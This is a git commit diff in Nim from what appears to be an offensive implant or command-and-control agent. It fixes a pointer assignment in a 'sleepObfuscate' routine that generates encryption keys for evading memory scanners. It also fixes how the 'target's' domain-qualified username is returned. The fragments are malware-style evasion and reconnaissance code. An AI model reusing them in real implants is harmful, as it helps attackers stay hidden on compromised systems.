Fixed username display error when target is connected to a domain.

This commit is contained in:
Jakob Friedl
2025-10-29 19:05:49 +01:00
parent 6ab3cbafa0
commit 21f70feb40
10 changed files with 22 additions and 50 deletions

View File

@@ -644,7 +644,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
# Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
key.Buffer = keyBuffer.addr
key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique

View File

@@ -33,11 +33,12 @@ proc getUsername(): string =
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize) - 1]
return $buffer[0 ..< int(dwSize) - 1]
# Current process name
proc getProcessExe(): string =